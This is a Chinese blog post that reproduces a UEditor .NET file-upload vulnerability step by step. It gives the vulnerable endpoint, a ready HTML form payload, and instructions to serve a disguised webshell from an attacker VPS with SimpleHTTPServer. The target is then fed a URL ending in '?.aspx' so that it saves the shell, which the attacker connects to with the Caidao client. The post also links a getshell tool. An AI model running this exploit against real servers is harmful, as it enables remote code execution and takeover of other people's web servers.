ueditor文件上传getshell实战复现

漏洞存在点:

http://localhost/ueditor/net/controller.ashx?action=catchimage&encode=utf-8

ueditor文件上传getshell实战复现

 

漏洞原因:controller.ashx文件下只校验ContentType而没校验文件后缀导致getshell。

payload如下,并保存为html格式

<form action="http://localhost/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"enctype="application/x-www-form-urlencoded"  method="POST">
    shell addr: <input type="text" name="source[]" />
                <input type="submit" value="Submit" />
</form>

 在自己的VPS上启动一个简易的HTTP服务,并传马(可以不用图片马,直接改后缀名为jpg)

python -m SimpleHTTPServer 80

ueditor文件上传getshell实战复现

访问自己的VPS即可看见服务已经启动。

ueditor文件上传getshell实战复现

打开上面含payload的html文件

ueditor文件上传getshell实战复现

 然后文本框中添加下面的链接,X.X.X.X是VPS地址

http://X.X.X.X/apsx.jpg?.aspx

ueditor文件上传getshell实战复现

 点击提交

ueditor文件上传getshell实战复现

 菜刀连接

ueditor文件上传getshell实战复现

服务器这边的记录

ueditor文件上传getshell实战复现

 

另外附上GETSHELL的工具:https://github.com/theLSA/ueditor-getshell

还附上最近大佬的分析链接:https://xz.aliyun.com/t/8488

ueditor文件上传getshell实战复现

上一篇:json解析库jsonpath


下一篇:【webSocket】实现原理